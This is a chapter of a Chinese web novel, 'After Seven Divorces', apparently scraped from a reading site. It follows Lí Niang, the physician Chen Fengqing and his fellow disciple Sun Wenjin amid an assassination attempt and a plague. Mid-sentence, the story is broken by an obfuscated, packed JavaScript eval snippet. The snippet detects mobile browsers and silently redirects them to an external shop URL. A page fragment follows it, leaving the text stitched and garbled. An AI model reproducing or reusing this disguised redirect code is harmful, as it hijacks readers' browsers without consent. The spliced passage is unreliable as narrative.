文趣网 > 其他小说 > 和离七次后 > 17. 第17章 不同
    对于穿越者所创造出来的奇法,陈奉请不仅有所耳闻,甚至还颇为心动。

    毕竟如此威力巨大的东西,谁都会想拿到手里,仔细研究一番的吧?

    只可惜穿越者的数量有限,他们所创造出的奇技数量也十分稀少,都死死地握在自己人手里。

    陈奉请医治过些被如此奇技打伤了的人,整个身体都被打穿了,哪怕是他,也得费好一番功夫处理。

    陈奉请瞧见梨娘情绪不对,出言试探道:“夫人似乎对这东西格外熟悉?”

    出乎他的意料,梨娘十分坦诚,道:“连累你了。这刺客恐怕又是冲我来的。我们二人一道行动,旁人分不清我们房间。”

    “我讲过,我曾经是落仙阁的处刑人,经常碰到些手拿枪支的鸩鬼,对他们有一套独特的应对方法。这人恐怕以前见过我的脸,和我有仇,便跟踪我想把我杀掉。”

    这话说得合情合理,见陈奉请再也挑不出错处,梨娘话锋一转,轻笑道:“倒是你,别总是以为梨娘对你图谋不轨。妾身见过多少男人,比你优秀的不知凡几。而且梨娘梦想中的爱情,一定要是纯洁、高贵,两人眼睛对视,就立刻冒出噼里啪啦的火花,从三魂七魄中产生真正的共鸣.......”

    很难想象为什么梨娘这样一个和离过七次的人为什么会有这样空中楼阁的妄想。

    陈奉请听了,觉得梨娘和离了七次一定和她的痴心妄想脱不开干系。

    “总之,别一点身体接触就反应那么大。这只是梨娘不引人怀疑的小小手段。”梨娘总结道,“我去找个借口糊弄客栈老板,你帮我去看看小宝。他被惊醒总是很难受的。”

    .

    并不出乎人意料的,客栈老板对这种事非常的熟悉。他往柜台下一钻,台上放着一个牌子:

    赔偿损失不报官,加20两不传谣,再加20两本客栈从来没有发生过恶性斗殴事件。

    熟练得令人心疼。

    梨娘现在手里还宽裕,把袖中银两往桌面上一拍,道:“起来,问你些事。”

    老板颤巍巍地从柜台里探出头来,见到的是一个高挑风流的女人,面容被帷帽遮挡着看不清楚,只能看清下巴上有颗小痣。

    老板听说这样的女人是会吃人的,当即把自己再次缩进柜台里哆哆嗦嗦.....然后被无语至极的梨娘一把拎出来。

    梨娘环顾一圈,见无人在意此处,小声道:“你有听说过陈奉请吗?”

    老板茫然:“没,没听过......”

    “是吗?”梨娘并不满意,挑眉问,“那你可知道哪里有大夫?”

    老板哆嗦得更厉害了:“不,不敢,那在大燹国可是要被杀头的死罪!”

    梨娘的语气缓和下来,道:“我并无为难之意。只是我惹了仇家,我的同伴受了伤,我们现在急需大夫。就算是传言也好,你有听过谁吗?大秉国有许多医药世家,前些年那里乱的时候,不是来这里许多人吗?”

    老板的小眼睛滴溜溜的一转,望向柜台上的银两,梨娘从袖中摸出个金锭,递给他,娇笑道:“现在呢?”

    “老....老孙。”老板把金锭捧在怀里,小声说,“你去找平安丧葬馆的孙文进。”

    “我怕他处理不了。我的同伴被当胸一枪,现在快死了。”梨娘追问,“还有更厉害的人吗?”

    老板沉吟片刻,看看怀中的金锭,决定招了:“我听老孙喝醉了说起过,他拜师的时候有个天赋极好的小师弟,和他一块被流放来的。好像姓谢,叫什么名字就不知道了。你报我的名字,说不定老孙能给你介绍下。”

    流放。

    梨娘当即心下雪亮,娇笑道:“好,多谢老板。”

    .

    果然背后应该少打听人。

    梨娘没走两步,却见拐角处陈奉请牵着小宝,无辜地瞧着他。

    陈奉请穿着那身柔和的青色外袍,神色十分无辜,道:“我并非有意偷听。你孩子生怕你不要他了,非要来找你。”

    梨娘看向小宝。小宝瞧东瞧西,就是不瞧她。

    气氛一时间变得十分尴尬。

    陈奉请笑道:“夫人若是想知道什么,直接问我便好,何苦呢?”

    他的笑意并未直达眼底,梨娘瞧得出来。

    看来有些事情,就是没心没肺的人也不愿意提。

    梨娘揉了揉眉心,光线幽暗,梨娘又时时以帷帽遮脸,让人瞧不见她究竟如何想。

    她那时时刻刻总是甜美的声音里染上了一丝疲惫,只听梨娘道:“你怎么不早说你原本姓谢?如果是大秉都城琼华谢氏.....那我认识你妹妹啊。”

    陈奉请的表情僵住了,道:“你去过大秉国?”

    “不然呢?”梨娘难以置信道,“如果你有七个得罪了的前夫,全住在同一个地方,谁能安然无恙地活这么久???”

    陈奉请:“.......”

    梨娘道:“不过我和你妹妹只是一面之缘。那时候她还叫谢骊呢。哦,不是妾身的这个梨花的‘梨’字,而是骊山的‘骊’字。”

    谢骊,因谋逆之罪被处死,谢家全族因此被流放。梨娘随口一打听,就捅破别人内心的伤处,也是十分不好意思的。

    陈奉请突然问:“你在大秉国做什么?”

    “.......”梨娘莫名其妙道,“我当然是嫁过去的喽。那次嫁的人也不是真爱,很瞧不起我。”

    陈奉请却道:“不对。如果你在大秉国,我怎么会没听过你这一号人物?”

    梨娘叹道:“那时候我嫁了个高门大户,每天困在后院里,哪也去不了,憋都要憋死了。如果你非要梨娘说出点什么来,那只能告诉你,那是琼华王氏的人,现在还活得好好的呢。”

    陈奉请脑中思索一番,抛出一个名字:“王怀璟?”

    “妾身可配不上那种大人物。”梨娘被逗笑了,道,“是他表弟王怀远。”

    王怀远么,普通纨绔一个,眼珠子都要掉进娇妻美眷里了,而且十分记仇。

    陈奉请暂时打消疑虑,梨娘笑道:“怎么话题引到梨娘身上?你不是要找谢骊么?大秉国男女大防太重,就算是亲妹妹,你也估计没见过她,但是我见过呀,现在不是更容易些了么......”

    .

    梨娘抱着小宝回到房中,只觉精疲力竭。

    小宝受了惊吓又犯病,梨娘刚说完话就倒在地上睡觉了。幸好旁边有个大夫在,及时喂药救回。

    梨娘一点睡意也无,摸摸小宝的小脸,喃喃自语道:“就算为了这个孩子......我也得拼命活下去。怎么就偏偏是谢骊?”

    她可能是这世界上除了前夫之外,最恨梨娘的人。

    .

    陈奉请回到原本的房中,床板已经四分五裂,自

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716899|208286||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    然不能供人休息。

    未关的窗户被风吹得哐当哐当乱响,陈奉请按住损坏的窗框,低头瞧见一道血痕顺着墙面划下,一路延伸向远方。

    陈奉请飞身跳下,颇为悠哉地沿着血迹一路追寻。却在一处格外隐蔽的小巷中再也追寻不得。

    这就奇了,梨娘那一匕首未捅到要害,他给的毒却是能瞬间麻痹全身肌肉,在一炷香里叫人窒息而亡。

    难道穿越者也有特殊的解毒之法吗?

    陈奉请正纳闷间,忽然听得一阵由远及近的吹吹打打之声。说凄凉,确实是十分哀婉,但奏乐有一搭没一搭,有种一口气上不来的感觉。

    只见一队人背着棺材、抱着纸人、花圈、举着引魂幡,撒着买路钱,由远及近缓缓而来。

    陈奉请抬眼看看天色,不过寅时,十分的不吉利。永熹郡的瘟疫已经难过到这种地步了?

    他一眼瞧见孙文进精疲力尽地在队伍里,头一点一点的,拉着一只二胡,上下两个眼皮子直打架。

    队伍中其他人,也是十分疲惫,比起哀恸,他们看起来更想倒头睡一觉。难道家人见了这样的人送葬,不会大发雷霆吗?

    陈奉请看了一阵,忽然觉出了哪里不对。

    太轻了。棺材太轻了。

    他指尖一弹,一只小石子飞出,正中抬棺那人的膝弯。那人只觉双腿一软,不由自主地趴倒在地,在众人的惊呼中,棺材滚落在地,整个翻倒!

    “怎么回事?不小心点吗?”孙文进一蹦三尺高,那点睡意立刻化为了怒意,道,“挡着点挡着点.....还不赶快收拾好,让人笑话!”

    陈奉请早已瞧见,棺材里面居然空无一物!

    伙计不敢触老板的霉头,点头哈腰地把棺材重新合上。在经过短暂的慌乱之后,送葬队伍重新出发。

    陈奉请从阴影里走出,也挺惊讶的。

    他的同门师兄居然真的混到要做这种倒卖尸体的活了?连他这种人都觉得这份钱十分丧良心啊!

    .

    郊外,孙文进正指挥伙计把棺材埋进土里,忽然觉得后背一痛,身手一摸,一根长针正扎在上面。

    孙文进熟练地从腰包里掏出七八种解毒剂就往嘴里灌,一边灌一边暴跳如雷,指着阴影中的陈奉请骂道:“我就知道是你这个孙子在捣鬼!!!”

    陈奉请眼中居然升起了一些怜悯之色,他这样的人渣竟表现出这样的情绪是很伤人的。他不客气道:“你怎么混到这种地步了?”

    “你懂个屁你懂。”孙文进指着他骂道。

    伙计茫然地瞧着他们争吵,孙文进一把扯过陈奉请,对着伙计们道:“去去去忙你们的去。”

    确保没人能听到,他才对陈奉请道:“你可别说出去。我已经研究出药方,瘟疫却迟迟未绝,就是因为这尸体的缘故。它污染了土地,才有人一直中招。最好的办法就是拿去烧了。可大多人都不让,谁能让自己家孩子死了还受这份罪呢?我只能拿去偷偷烧掉。”

    这倒是合情合理。

    不过,这也是出力不讨好的买卖。陈奉请无法理解,困惑道:“你什么时候这么有良心了?”

    “.......”孙文进仅仅比陈奉请年长三岁的脸上忽然迸发出一种慈爱的光,道,“我这叫有担当。不是每个人都像你一样活着的——去,没事别跟我在这添乱,去陪你身边那个漂亮女人吧。”